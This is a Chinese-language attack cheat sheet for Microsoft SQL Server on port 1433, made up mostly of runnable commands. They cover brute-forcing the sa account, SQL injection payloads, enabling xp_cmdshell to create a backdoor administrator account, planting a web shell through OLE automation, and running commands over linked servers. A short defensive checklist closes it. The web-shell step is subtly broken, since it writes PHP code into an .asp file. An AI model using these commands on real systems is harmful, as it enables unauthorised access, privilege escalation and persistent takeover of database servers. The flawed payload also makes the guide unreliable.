1433 - MSSQL 渗透
漏洞概述
MSSQL(Microsoft SQL Server)是微软的关系型数据库,常见漏洞包括弱口令、提权、命令执行等。
影响版本: 所有版本
危害等级: ⭐⭐⭐⭐⭐
信息收集
端口扫描
# Nmap 扫描
nmap -sV -p 1433 <TARGET_IP>
# MSSQL 枚举脚本
nmap --script ms-sql-* <TARGET_IP>
版本识别
# Nmap 脚本
nmap --script ms-sql-info <TARGET_IP>
# 直接连接
mssqlclient.py user@<TARGET_IP>
漏洞利用
方法 1: 弱口令爆破
# Hydra 爆破
hydra -l sa -P /usr/share/wordlists/rockyou.txt mssql://<TARGET_IP>
# Medusa 爆破
medusa -h <TARGET_IP> -U users.txt -P passwords.txt -M mssql
# crackmapexec
crackmapexec mssql <TARGET_IP> -u sa -p password
方法 2: 未授权访问
# 使用 impacket
mssqlclient.py sa@<TARGET_IP>
# 查询版本
SELECT @@version;
# 查询用户
SELECT name FROM sysusers;
方法 3: SQL 注入
-- 联合查询
' UNION SELECT 1,2,3--
-- 报错注入
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
-- 时间盲注
' WAITFOR DELAY '0:0:5'--
提权路径
xp_cmdshell 执行命令
-- 启用 xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
-- 执行命令
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user';
-- 添加用户
EXEC xp_cmdshell 'net user hacker Password123! /add';
EXEC xp_cmdshell 'net localgroup administrators hacker /add';
OLE 自动化对象
-- 启用 OLE
EXEC sp_configure 'Ole Automation Procedures',1;
RECONFIGURE;
-- 创建文件
DECLARE @o int;
EXEC sp_oacreate 'Scripting.FileSystemObject', @o OUT;
EXEC sp_oamethod @o, 'CreateTextFile', NULL, 'C:\inetpub\wwwroot\shell.asp', 1;
EXEC sp_oamethod @o, 'Write', NULL, '<?php @eval($_POST["cmd"]);?>';
备份提权
-- 备份数据库到 Web 目录
BACKUP DATABASE master TO DISK='C:\inetpub\wwwroot\shell.bak'
WITH FORMAT,
MEDIANAME='WebShell',
NAME='Full Backup';
内网渗透
链接服务器
-- 查看链接服务器
SELECT * FROM sys.servers;
-- 通过链接服务器执行命令
EXEC('xp_cmdshell ''whoami''') AT [LinkedServer];
信任链利用
-- 利用数据库用户权限提升
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
防御建议
-
禁用 xp_cmdshell
EXEC sp_configure 'xp_cmdshell',0;
RECONFIGURE;
-
强口令策略
-
最小权限原则
-
启用审计
-
定期更新
参考链接